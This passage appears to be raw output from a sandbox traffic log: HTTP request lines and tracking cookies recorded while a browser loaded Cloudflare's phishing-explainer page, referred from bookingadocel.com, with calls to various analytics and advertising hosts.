cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221416841341%22%2C%22e%22%3A1729261091645%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A17607952
Source: global traffic	HTTP traffic detected: GET /cable?wv=9&token=37pXYrro6wCZbsU7&vu=c1910c9b-f2a2-4705-8fc0-5ba97f36ebbe&wu=e94968ef-2552-4e4d-90d8-70a75875c7ad&ca=2024-10-18T13%3A48%3A12.870Z&tz=America%2FNew_York&bis=5&referrer=https%3A%2F%2Fbookingadocel.com%2F&pv=1&fv=2024-10-18-65af8c0735&iml=false&ic=true HTTP/1.1Host: ws6.qualified.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://www.cloudflare.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: isnhAkoiJC7jU16n34x1jA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: actioncable-v1-json, actioncable-unsupported
Source: global traffic	HTTP traffic detected: GET /qualified.js?token=37pXYrro6wCZbsU7 HTTP/1.1Host: js.qualified.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page-data/plans/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cloudflare.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221416841341%22%2C%22e%22%3A1729261091645%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A17607952
Source: global traffic	HTTP traffic detected: GET /page-data/learning/access-management/what-is-sase/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cloudflare.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221416841341%22%2C%22e%22%3A1729261091645%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%22172
Source: global traffic	HTTP traffic detected: GET /ee/v1/identity/acquire?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=61504324-89aa-48d1-a803-dd688e086833 HTTP/1.1Host: adobedc.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=64977079024833184161452952043619543345
Source: global traffic	HTTP traffic detected: GET /bg9s?x-amz-cf-id=twqkbrkq8cJbikuKufjQSsYUM1QuSpMqCAhQmWdcTqeAWOXLBmrNWA==&api-version=v3 HTTP/1.1Host: tag-logger.demandbase.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v3/ip.json?referrer=https%3A%2F%2Fbookingadocel.com%2F&page=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&page_title=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare HTTP/1.1Host: api.company-target.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=18ee9fe9-01ca-43a0-b773-2c99f76388ad; tuuid_lu=1729259293\|ix:0\|mctv:0\|rp:0
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=18&expiry=1744984093&external_user_id=18ee9fe9-01ca-43a0-b773-2c99f76388ad&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=ZxJnHdHM4LsAAF-6ABBXzAAA; CMPS=1085; CMPRO=1085
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=ZxJnHQAAAKUlswN6 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=64977079024833184161452952043619543345
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221416841341%22%2C%22e%22%3A1729261091645%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%7D; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CvVersion%7C5.5.0; _biz_uid=1f89
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fbookingadocel.com%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_t=1729259291812&_biz_i=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&_biz_n=0&rnd=105613&cdn_o=a&_biz_z=1729259291814 HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /p/action/5268204.js HTTP/1.1Host: bat.bing.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page-data/plans/enterprise/contact/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221416841341%22%2C%22e%22%3A1729261091645%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%7D; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; AMCV_8AD56F28618A50850A
Source: global traffic	HTTP traffic detected: GET /sync?UIDM=18ee9fe9-01ca-43a0-b773-2c99f76388ad HTTP/1.1Host: partners.tremorhub.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tvid=9cba43ec0b964a5c99ec33da08e31ddd; tv_UIDM=18ee9fe9-01ca-43a0-b773-2c99f76388ad
Source: global traffic	HTTP traffic detected: GET /page-data/app-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221416841341%22%2C%22e%22%3A1729261091645%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%7D; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=17964355
Source: global traffic	HTTP traffic detected: GET /action/0?ti=5268204&tm=gtm002&Ver=2&mid=2ba1fce8-c879-41a4-8506-d47a734f893f&bo=2&sid=9e9217208d5711ef9f942d37e672568f&vid=9e9265008d5711ef86d8793cb6a7df8c&vids=1&msclkid=N&uach=pv%3D10.0.0&pi=918639831&lg=en-US&sw=1280&sh=1024&sc=24&tl=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&p=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&r=https%3A%2F%2Fbookingadocel.com%2F&lt=2656&evt=pageLoad&sv=1&asc=G&cdb=AQED&rn=790796 HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
